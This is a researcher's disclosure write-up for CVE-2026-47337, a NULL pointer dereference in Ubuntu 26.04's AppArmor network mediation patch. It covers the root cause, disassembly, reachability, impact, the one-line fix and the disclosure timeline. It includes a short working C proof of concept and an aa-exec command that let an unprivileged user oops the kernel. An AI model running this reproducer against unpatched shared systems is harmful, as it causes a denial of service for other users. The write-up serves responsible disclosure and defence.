CVE-2026-47337: one bind() and Ubuntu's AppArmor 5.0 walks off a NULL
i was fuzzing Resolute for the usual syscall noise when the box started oopsing on
bind(). not a heap bug, not a race, just a NULL walk at a fixed offset.
Ubuntu Resolute (26.04 LTS) ships an AppArmor 5.0 extension that lives only in the
Ubuntu kernel tree: a ~1500-line "fine grained ipv4/ipv6 mediation"
SAUCE patch. inside it sits a function that dereferences a pointer one branch
before it gets assigned. any unprivileged user can ride that pointer into a
kernel oops with a single bind() syscall. no userns, no
capabilities, no kernel modules, no sudo. aa-exec(8) is in
$PATH and the unprivileged_userns profile is preloaded,
and that's the whole prerequisite list.
$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ dmesg | tail
... BUG: kernel NULL pointer dereference, address: 0x4
... RIP: aa_inet_bind_perm+0x188/0x3a0
... UID: 1000 PID: ... Comm: poc
this is purely Canonical SAUCE. the function doesn't exist in upstream Linux, and no other distribution is affected. i reported it to Ubuntu Security on 2026-04-27; they fixed it and lifted the embargo on 2026-05-28, and Ubuntu's CNA assigned CVE-2026-47337.
the bug
short version: bind_map_addr() in security/apparmor/af_inet.c
declares struct sockaddr_in *addr4 = NULL;, only assigns it in the
AF_INET arm of the switch, and then dereferences it in the
AF_UNSPEC arm that runs first. CR2 lands on 0x4, offsetof(struct sockaddr_in, sin_addr.s_addr). trigger is an
AF_INET socket with sa_family = AF_UNSPEC and any non-zero
sin_addr, under any profile that mediates AA_CLASS_NET.
security/apparmor/af_inet.c, around line 175,
bind_map_addr(). trimmed to the arms that matter:
static int bind_map_addr(const struct sock *sk,
struct sockaddr *addr, int addrlen,
struct match_addr *maddr,
struct apparmor_audit_data *ad)
{
struct sockaddr_in *addr4 = NULL; /* <-- declared NULL */
struct sockaddr_in6 *addr6 = NULL;
u16 family;
...
switch (addr->sa_family) {
case AF_UNSPEC:
if (sk->sk_family == PF_INET6) {
if (addrlen < SIN6_LEN_RFC2133)
return -EINVAL;
return -EAFNOSUPPORT;
}
/* see __inet_bind(), we only want to allow
* AF_UNSPEC if the address is INADDR_ANY
*/
if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
/* <-- addr4 is still NULL here */
return -EAFNOSUPPORT;
family = AF_INET;
fallthrough;
case AF_INET:
addr4 = (struct sockaddr_in *)addr; /* <-- assignment lives HERE, */
... /* one branch too late. */
the author meant to mirror upstream __inet_bind()'s rule that an
AF_UNSPEC bind is only allowed when the address is
INADDR_ANY. but the cast went in the AF_INET arm while the
check sits in the AF_UNSPEC arm, and that arm runs first. when
sk->sk_family != PF_INET6 you walk straight off the end of NULL and
read four bytes at offset 0x4: the sin_addr.s_addr of
a sockaddr_in that was never there.
map_addr() ten lines above does the exact same parse
correctly, so this reads like a copy/paste where the cast landed in the wrong
arm. easy to miss without a test that exercises the AF_UNSPEC
path, and i didn't see one in the tree.
the faulting instruction
you don't have to take the source's word for it. the oops disassembly spells
it out. the compiler folded addr4->sin_addr.s_addr with
addr4 == NULL into an absolute load from the immediate address
0x4:
RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
Code: ... 0f 84 e9 01 00 00 <8b> 0c 25 04 00 00 00 85 c9 ...
^^^^^^^^^^^^^^^^^^^^^
mov ecx, DWORD PTR ds:0x4
CR2: 0000000000000004
8b 0c 25 04 00 00 00 is mov ecx,[0x4] with no base
register, a hard-coded read of kernel virtual address 4. that is exactly
what addr4->sin_addr.s_addr compiles to when the base pointer is a
compile-time-unknown NULL and the field offset is 4. bind_map_addr()
gets inlined into aa_inet_bind_perm, which is why the RIP shows the
caller.
reachability
sys_bind
-> security_socket_bind
-> apparmor_socket_bind (PF_INET branch)
-> aa_inet_bind_perm
-> sk_has_perm1(...) <-- short-circuits for unconfined labels
-> bind_map_addr <-- BOOM
the one gate is that the calling label has to actually mediate
AA_CLASS_NET. a bare unconfined login shell does not, so you can't
just compile and run the PoC from your $HOME and expect a crash.
but aa-exec(8) into the unprivileged_userns profile,
shipped by default on Resolute, the same one from
the userns-mitigation-bypass post, and it
does mediate net. no caps, no userns creation, no setuid, no group
membership.
and it's loud. trinity --group=net running as the same unprivileged
user random-walks sa_family into this within a couple of minutes, cold.
if you fuzz Resolute at all you have probably already hit it and written it off
as some apparmor thing. i did, the first time.
repro
the whole exploit is 88 lines and most of them are the comment block. the operative part:
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sa = { .sin_family = AF_UNSPEC,
.sin_addr.s_addr = htonl(0xdeadbeef) };
return bind(s, (struct sockaddr *)&sa, sizeof(sa));
}
$ gcc -O2 -o poc poc.c
$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ sudo dmesg | tail -20
[ 4331.673012] BUG: kernel NULL pointer dereference, address: 0000000000000004
[ 4331.675354] #PF: supervisor read access in kernel mode
[ 4331.676949] #PF: error_code(0x0000) - not-present page
[ 4331.679547] Oops: Oops: 0000 [#1] SMP PTI
[ 4331.680869] CPU: 2 UID: 1000 PID: 6090 Comm: poc Tainted: G
[ 4331.687982] RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
[ 4331.711249] CR2: 0000000000000004
[ 4331.713373] Call Trace:
[ 4331.715146] apparmor_socket_bind+0x68/0x80
[ 4331.716516] security_socket_bind+0x8a/0x1b0
[ 4331.717917] __sys_bind+0xa5/0x130
[ 4331.719104] __x64_sys_bind+0x18/0x30
[ 4331.722894] do_syscall_64+0x115/0x5a0
[ 4331.727090] entry_SYSCALL_64_after_hwframe+0x76/0x7e
that's it. that's the whole thing. the full dmesg from a clean
install, including the change_onexec ... name="unprivileged_userns"
audit line that immediately precedes each oops, three crashes back to back from
a loop, is in oops-splat.log
below.
impact
it is what it looks like: a NULL deref, fixed offset 0x4, supervisor
read. mmap_min_addr=65536 by default so you can't map page 0 to plant
a fake sockaddr_in there, and KPTI keeps the kernel from reading your
user pages without an explicit usercopy. i'm not going to pretend this is a write
primitive.
what i do have: a reliable one-shot unprivileged kernel oops on a stock
Resolute install, repeatable as fast as fork() returns. an ill-behaved
tenant on a shared box can keep the AppArmor LSM hooks tainted indefinitely
without trying hard, the splat log shows [#1], [#2],
[#3] in seconds, and every oops chips at the box's stability.
on panic_on_oops=1 deployments (kernel-CI, lockdown, hardened-server
profiles) it's full host DoS from an unprivileged local user.
classification: CWE-476 NULL pointer dereference, local DoS, unprivileged
trigger, attack complexity nil. CVSSv3 around 5.5
(AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H), and the
panic_on_oops=1 case bumps the availability story considerably.
i know NULL derefs aren't sexy. this one lives in the LSM hook that runs
on every bind() in every container on
every host that ever loaded one of the dozens of stock Resolute
profiles. still worth a number, and Ubuntu agreed.
the fix
one line. move the cast above the check:
--- a/security/apparmor/af_inet.c
+++ b/security/apparmor/af_inet.c
@@ -200,6 +200,7 @@ static int bind_map_addr(const struct sock *sk,
return -EINVAL;
return -EAFNOSUPPORT;
}
+ addr4 = (struct sockaddr_in *)addr;
/* see __inet_bind(), we only want to allow
* AF_UNSPEC if the address is INADDR_ANY
*/
if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
return -EAFNOSUPPORT;
while you're in there, also reject addrlen < sizeof(struct sockaddr_in)
before this check. right now you can reach it with addrlen as low as
offsetofend(sa_family) and read off the end of whatever the user handed
you. map_addr() at line ~106 already does this, worth mirroring.
postscript: it's a NULL deref, not a UAF
the artifacts and the original tarball are named aa-bind-uaf-* and the
crashing binary reports Comm: aa-bind-uaf. that's a fossil. my first
read of the splat, faulting on a small fixed address inside a freed-looking
parse path, made me reach for use-after-free before i'd actually read the
SAUCE source. it is not a UAF. the pointer was never assigned in the first
place; 0x4 is a struct offset off NULL, not a dangling allocation.
mea culpa, the file names stuck. CWE-476, full stop.
downloads
- poc.c: 88-line
standalone reproducer, public-domain.
gcc -O2 -o poc poc.c, thenaa-exec -p unprivileged_userns -- ./poc. - oops-splat.log:
full
dmesgfrom a clean Resolute install firing the bug (three oopses, with audit lines).
SHA-256:
808a817764bd80ae0269c3077701d57f41a3c6bf21a63ca7074a75d6daac6485 poc.c
58b05dde1f3cebd9c172338029e4398077854e36dd01acf1435b17066f15a0d0 oops-splat.log
affected
- Ubuntu Resolute / 26.04 LTS, all kernels carrying the SAUCE patchset
"apparmor5.0.0 [N/M]: apparmor: net: add fine grained
ipv4/ipv6".
grep debian.master/changelogif unsure. - reproduced on
linux-image-7.0.0-14-generic_7.0.0-14.14_amd64.deb(Ubuntu kernel git, branchresolute, file checked 2026-04-27). - all architectures where
CONFIG_SECURITY_APPARMOR=yand at least one profile mediatingAA_CLASS_NETis loaded. stock Resolute ships dozens of them. - not affected: upstream Linux, and every distribution that isn't carrying this Canonical-only patch.
timeline
| Date | Event |
|---|---|
| 2026-04-27 | Reported to security@ubuntu.com, cc John Johansen. PoC + full advisory + oops log attached. |
| 2026-05-28 | Embargo lifted by Ubuntu Security. CVE-2026-47337 assigned via Ubuntu's CNA. This writeup published. |
for once i held the details until patch and CVE publication instead of racing the embargo. (i have, ah, broken other people's embargoes unintentionally before, see Copy Fail 2 and the ssh-keysign-pwn n-day. trying harder to be a responsible adult about this. it's a process.)
thanks
Ubuntu Security handled this cleanly and quickly, agreed it was worth a number, and didn't make the disclosure mechanics painful. when the vendor meets you halfway, responsible disclosure actually works.
. _SiCk · afflicted.sh